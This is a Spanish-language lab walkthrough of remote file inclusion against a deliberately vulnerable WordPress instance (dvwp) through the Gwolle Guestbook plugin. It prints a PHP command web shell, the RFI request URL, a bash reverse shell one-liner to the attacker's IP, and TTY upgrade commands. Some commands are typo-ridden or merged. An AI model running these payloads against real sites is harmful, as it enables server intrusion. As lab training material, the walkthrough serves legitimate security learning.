# RFI - remote file inclusion

Nos clonamos un repositorio de wordpress que sea vulnerable

```bash
git clone https://github.com/vavkamil/dvwp 
docker-compose up -d --build 
docker-compose run --rm wp-cli install-wp
```

Vemos que corre en el puerto 31337

```bash
localhost:31337
```

Te abre un panel de wordpress donde crear una cuenta con dominio, usuario, password y un correo(falso)

Login te logeas y ya estaría operativo, faltarían los plugins desde la terminal--&gt;

```bash
searchsploit gwolle
```

Habría que activar el plugin que te has descargado, si no te deja hacer a www-data propietario del gwole

```bash
usermod -a -G www-data (tu nombre de usuario)
chgrp www-data /home/myuser/gwole
chmod g+rwxs /home/myuser/gwole
```

Estando en /usr/share/SecLists/Discovery/Web-Content/CMS searchsploit gwolle

```bash
searchsploit -x php/webapps/38861.txt
```

No nos deja en un principio, pero nos comentan en la propia herramienta que hay que incluir en el php.ini

```php
allow_url_include = 'on'"
```

recargamos, si estamos en docker habría que cerrarlo y volver a lanzarlo,

Me pongo en escucha

```php
python3 -m http.server 80
```

y me debería de mostrar una respuesta 200 ok

Me creo un archivo que se llame wp-load.php

```php
<?php
    system('whoami');
?>
```

recargo y me deberia de mostrar www-data o podria hacer tambien:

```php
<?php
    system('hostname -I');
?>
```

me debería de mostrar la ip del contenedor de la web que usa este plugin, acabo de realizar un remote file inclusion si queremos controlar el comando,

```php
<?php
    system($_GET['cmd']);
?>
```

Recargo y en la barra de direcciones del navegador

```apache
localhost:31337/wp-cpntent/plugins/gwolle-gd/frontend/capcha/ajaxresponse.php?abspath=http://[mi ip]/&cmd=whoami
```

&lt;-- ese comando ya se lo estoy inyectando yo

Me pongo en escucha con netcat podría inyectarle el típico one-linner

```bash
nc -nlvp 443 localhost:31337/wp-cpntent/plugins/gwolle-gd/frontend/capcha/ajaxresponse.php?abspath=http://[mi ip]/&cmd=bash -c "bash -i >& /dev/tcp/[mi ip]/443 0>&1"
```

y así me he creado una revershell.

Ya estaría dentro de la máquina, le hago un tratamiento de la tty

```bash
script /dev/null -c bash 
control+z stty 
raw -echo; fg 
export TERM=xterm 
stty raw 44 colums 184
```
